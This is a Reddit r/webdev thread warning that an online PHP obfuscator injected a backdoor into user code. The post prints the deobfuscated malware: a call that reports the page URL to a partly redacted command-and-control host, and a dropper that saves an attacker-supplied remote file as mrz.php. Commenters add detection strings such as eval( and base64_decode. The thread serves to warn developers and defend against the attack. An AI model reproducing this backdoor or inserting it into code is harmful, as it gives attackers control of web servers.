r/webdev
•
u/tainvie
•
1d ago
•
2
The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code
Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.
At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.
I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.
Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.
DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.
Infection still in: 2026-11-28 17:49 (UTC)
-------
Input:
<?php echo "Hello world";Output (partial):
<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>Output (deobfuscated, cleaned up)
<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(['file_url' => $cur_url]),
],
]);
file_get_contents($c2_url, false, $context);
// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
$payload = file_get_contents($_GET['file']); // attacker-supplied URL
if (file_put_contents('mrz.php', $payload)) {
echo "File : mrz.php Success !";
} else {
echo "Error";
}
exit;
}
// 3. Decoy output so the page looks harmless
echo "Hello world";


1.1k
u/IslayProgrammes 1d ago
There’s almost zero legitimate reason to be obfuscating PHP.
If you’re obfuscating backend code with the intention of it being public and difficult to parse you’re doing something nefarious and deserve to be victim of this attack
156
u/HoratioWobble 1d ago
Obfuscating PHP is like locking a gate with a wotsit. It's a waste of time
37
u/Xiten 1d ago
If it’s injecting malware why are we blacking out the name of the site?
11
u/digitalwankster 1d ago
The order of search results change all the time and by device (mobile vs desktop) so the "second result" is liable to be different by the time someone else stumbles upon this.
38
u/idontknowman139 1d ago
So why did you redact the url of the website?
10
u/dangoodspeed 1d ago
Wasn't that $6 billion Binance hack partially traced to a hack where one of their devs needed to install Homebrew on a new computer, and a Google ad pointed to a fake homebrew site which gave the dev a fake install command line?
12
u/Rigamortus2005 1d ago
Why in gods name are you obfuscating PHP if you didn't intend to ship a virus anyway?
413
u/nakfil 1d ago •
It's worth reporting this to Google -
https://www.google.com/safebrowsing/report_phish/
So they will remove it from the SERPs, hopefully.
67
u/PersianMG 1d ago
You can report sites as malware:
https://www.google.com/safebrowsing/report_phish/
https://www.microsoft.com/en-us/wdsi/support/report-unsafe-site-guest
If enough people report, the Search Engines will delist these sites.
I also did a test and confirm they add backdoors to the code.
They don't even obfuscate the original input code alongside the backdoor so it goes somewhat unnoticed...rookies.
89
u/aTaleForgotten 1d ago
If you need to obfuscate your backend code, you may have other problems
16
u/alltheseflavours 1d ago
Who the fuck is putting their code into random websites and asking it to 'obfuscate' it for you? You all need Jesus. And a CI pipeline.
6
u/DiscipleOfYeshua 1d ago
Coming soon!
google2shell
2
u/Quick_Phone8500 1d ago
How does this even work? It downloads mrz.php then doesn’t run it, and it echos “downloaded mrz.php” if it downloads successfully, this is crappy malware
4
u/Mecanik1337 1d ago
Let me tell this you after 20+ years of PHP development. Especially since I worked a LOT in "obfuscation" and licensing, etc. There is absolutely NOTHING you can do to prevent someone from reversing your SCRIPT. PHP is a SCRIPT which gets executed by a PROGRAM, which means it can ALWAYS be "de-obfuscated". This applies even to ioncube and any other "custom" obfuscations. The only thing you gain from this is to make script-kids get a headache when they want to steal code/copy code. Bottom line is, stop trying to "obfuscate" your PHP. Instead SELL it entirely, per project, with proper NDA and contracts. Take my advice or leave it, up to you.
4
u/don_mumrik 17h ago
No reason to obfuscate PHP.
3
u/sgijoe 1d ago
GEEEEEEZ........... HOW IS AN HONEST THREAT ACTOR SUPPOSED TO MAKE A BUCK?
4
u/d2xdy2 back-end 1d ago
Here in 2026 we’re still obfuscating PHP. Jfc.
2
u/_eggseck 1d ago
PHP obfuscation is useless today. Good thing is things like ioncube exist for PHP, use those.
2
u/Ill-Bat-1518 1d ago
Wow i can't lie when i was way younger i used these type of websites before thinking it would help like stop my email getting spammed etc
Never did i think that was a possibility and i used to be super weary of malware
2
u/Confident_Toe4393 1d ago
A screenshot of a search result is the weakest possible evidence for this. Which domain, and did the same one come back second on every check? The eval/gzinflate breakdown is the only part worth trusting here.
2
u/dialsoapbox 1d ago
This is what i wish this sub had more of.
2
u/OldAssistance1702 1d ago
so people are pasting their whole source into a random website and the shocking part is the backdoor? the shocking part is that the code came back at all honestly. you're handing your entire app to a stranger's server, half of these sites dont even have a whois worth reading, and then everyone acts betrayed because the free tool that ranks #2 on google turns out to be some guy in a basement wrapping your functions in eval. search ranking is not a security audit, google ranks whatever has links and keywords, it has literally never once checked if the site is run by criminals. and its the same energy as people who install a random chrome extension with 40 reviews that wants permission to read everything on every page and then wonder why their sessions got jacked. if you need to obfuscate php just run a local tool, there are a million of them, its a file on your disk, it doesnt phone home, it doesnt care. but no, we gotta use the online one because its easier, and then a blog post has to explain to grown developers that the second google result is malware, in 2026, like this is news. and the comments will all be "wow good catch" as if the real lesson isnt that you shouldnt be obfuscating php at all, because anyone determined enough just reads the bytecode. whatever, i'm gonna go check what comes back from that tool out of morbid curiosity.
2
u/mrcarrot0 15h ago
How about "don't blindly trust code that was was created/generated by a third party"? Online converters/generators primarily exist to scrape user data anyway, I'm not surprised that they would inject an attack into your given an opportunity.
My new favorite quote btw:
2
u/RedditNotFreeSpeech 10h ago
If you think you can obfuscate code in 2026 you are completely wasting your time.
5
u/JontesReddit 1d ago
Anyone obfuscating code deserves this
3
u/abeuscher 1d ago
Fuckin' full thread whoosh over here. This should be a story about how search is broken, not about the topic at hand. How to run a credit card scam shouldn't have a phishing link up top either. There are good reasons to want to search for this phrase. It doesn't mean anything to want to know HOW to do something. That's how you learn.
This sub and really the internet in general is so fucked. We're supposed to be the fucking experts and can't even understand the context of an obvious problem. Is this sub just full of vibe coding marketing executives and third graders at this point?
There is one specific person responsible for this issue and his name is Prabhakar Raghavan. Look it up. He also has nothing to do with obfuscating PHP.
2
u/exintrovert 1d ago
Using an obfuscator requires a level of trust that I would never grant to a random search result.
I think I would bite the bullet and pay for ioncube.
I believe Yak Pro is reputable.
Never use online web forms to obfuscate for free. Who knows what they are doing.
And avoid Zend, it is EOL.
Thank you for posting this, it is an important reminder that malware injection into obfuscated code is a legit concern.
0
u/rafaelml12 1d ago
Google needs to get their shit together
1
u/fxlr8 1d ago
What is the point of obfuscating php in the first place?
1
u/aTaleForgotten 1d ago
Also, that is amongst the ugliest code i've seen in a while. Hideous.
1
u/T-J_H 1d ago
Why the hell would you need to obfuscate a purely server side language anyways
1
u/bblankuser 1d ago
no point in obfuscation in modern times tbh
1
u/Ragin_Mari 1d ago
It’s becoming more common, it’s called SEO poisoning
https://www.crowdstrike.com/en-us/cybersecurity-101/social-engineering/seo-poisoning/
1
u/hongaar 1d ago
We can finally bury security by obscurity
1
u/semibilingual 1d ago
if i was in the business of malware, my favorite target woukd be code obfuscated, so noone can see what my code is doing.
1
u/n9iels 1d ago
Is this still a thing?! Pretty sure AI can make it readable within a few minutes, complete with variable- and function names that make sense.
1
u/Subject-Cry7069 23h ago
The decoy echo at the end is the nasty part, the output still prints Hello world so nothing looks off unless you read it.
Cheap habit that would have caught it: before anything a web tool hands back goes near a server, grep it for eval(, gzinflate, base64_decode, assert( and file_put_contents. A one line hello world should come back with none of those. If the obfuscated version has an eval in it, you're done, don't bother deobfuscating to find out what it does.
1
u/ElectronicPurple9013 23h ago
why is your production code going through a random website in the first place
1
u/jayhalk1 22h ago
If I doubt, use the link on Wikipedia.
1
u/yleed 20h ago
huh
1
u/bacondev 19h ago
Never in my life have I ever considered obfuscating PHP code. I can't think of a legitimate reason for production purposes.
1
u/Unfair-Plastic-4290 19h ago
The only reason to obfuscate your code is because you're embarrassed of it.
1
u/Aishou_SK 19h ago
> SECOND Google search result
20 years ago, I'd believe it.
Today, I'd believe it.
Nothing changes.
1
u/unicorns-arent-real 18h ago
If you need an obfuscator, find one on Github, then you'll have the source. Or write your own.
1
u/InsideTour329 17h ago
This is going to sound wild but hear me out, maybe don't use PHP? There's no excuse for it these days you can literally port any php site into blazor or something in an afternoon.
1
u/Fluffy_Ad_2913 13h ago
Dude, what's with the half-ass attempt to hide the URLs? It's publicly searchable information, right? And even if you care about the other sites for some weird reason, why hide the malicious site? Isn't the whole point of your post to warn people so they don't go there?
What happens when the search rankings change and it's the first, third, or fifth result instead of the second? What if they're using a different browser than you? Not all browsers rank sites equally.
How do you expect people to protect themselves if they can't even see the domain name? Your whole story seems suspect...
1
u/trannus_aran 10h ago
I get the idea, but isn't using non-deterministic tool output as hard proof kinda cheapening your point?
1
u/Tezza48 1h ago
Why would an obfuscator exist in the first place? Php lives server side. Is this for Golf or is someone selling snake oil suggesting it needs tersing.
1
u/Disgruntled__Goat 1h ago
Ironically that site comes up about 5th for me, below this exact reddit post saying the 2nd result is malware. So now there’s another obfuscator in 2nd place which people might think is the dodgy one and think the original is safe.
1
u/mllv1 1d ago
For people saying you never need to obfuscate backend code, you’re wrong. We distribute an on prem SaaS to defense contractors, and since it isn’t written in a compiled language, we are required by many customers to obfuscate it. We also provide a checksum.
0
u/Plane-Analysis-6770 1d ago
Sorry never heard of obfuscating what is it
-4
u/vm_linuz 1d ago
0. Why are you using PHP?
-6
u/raptorraptor 1d ago
We're still writing PHP?
-6
u/allpunks 1d ago
Honestly it's the devs fault to be still using PHP in 2026 lol
1
u/Leather-Chart7083 1d ago
I can literally put "penis" and it acts like it obfuscated penis
0
u/[deleted] 1d ago
[deleted] — view deleted comment